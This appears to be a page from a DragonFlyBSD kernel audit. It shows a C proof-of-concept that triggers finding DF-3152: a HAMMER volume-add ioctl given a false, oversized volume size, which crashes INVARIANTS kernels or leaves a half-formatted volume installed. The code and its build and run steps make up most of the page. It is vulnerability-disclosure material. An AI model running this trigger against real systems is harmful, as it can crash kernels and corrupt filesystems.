⬢ DragonFlyBSD Kernel Audit
DF-3152 / voladd_lie.c
← back to finding ↓ download raw
/*
 * DF-3152 trigger: hammer volume-add with a vol_size that lies about the
 * device size (claims 2 GiB on a 2 MiB vn device).
 *
 * The kernel never validates ioc->vol_size (nor vol_buf_end derived from it)
 * against the actual size of the opened device:
 *   sys/vfs/hammer/hammer_volume.c:662  vol_buf_end = ioc->vol_size & ~mask
 *   sys/vfs/hammer/hammer_ondisk.c:212   maxbuf_off from HAMMER_VOL_BUF_SIZE
 * hammer_format_freemap() then bread()s layer2 entries at device offsets
 * [vol_buf_beg .. vol_buf_beg+8MB) -- walking past the 2 MiB device end,
 * dscheck() fails the read, and hammer_volume.c:118
 *   KKASSERT(error == 0)
 * panics the INVARIANTS kernel (on production kernels the error is later
 * overwritten by hammer_update_volumes_header()'s unconditional 0 and the
 * ioctl returns SUCCESS with a half-formatted volume installed).
 *
 * Build: cc -o voladd_lie voladd_lie.c
 * Run:   ./voladd_lie <mountpoint> <device> <claimed_vol_size_bytes>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <vfs/hammer/hammer_ioctl.h>

int
main(int argc, char **argv)
{
	struct hammer_ioc_volume ioc;
	const char *mnt, *dev;
	long long claimed;
	int fd;

	if (argc != 4) {
		fprintf(stderr, "usage: %s <hammer1 mountpoint> <device> "
			"<claimed vol_size bytes>\n", argv[0]);
		exit(2);
	}
	mnt = argv[1];
	dev = argv[2];
	claimed = strtoll(argv[3], NULL, 0);

	fd = open(mnt, O_RDONLY);
	if (fd < 0)
		err(1, "open %s", mnt);

	bzero(&ioc, sizeof(ioc));
	strlcpy(ioc.device_name, dev, sizeof(ioc.device_name) - 1);
	ioc.vol_size = claimed;
	ioc.boot_area_size = 0;
	ioc.memory_log_size = 0;

	printf("device=%s claimed vol_size=%lld bytes\n", dev, claimed);
	fflush(stdout);

	if (ioctl(fd, HAMMERIOC_ADD_VOLUME, &ioc) < 0)
		err(1, "HAMMERIOC_ADD_VOLUME");

	printf("ADD_VOLUME returned SUCCESS (error path swallowed?)\n");
	return (0);
}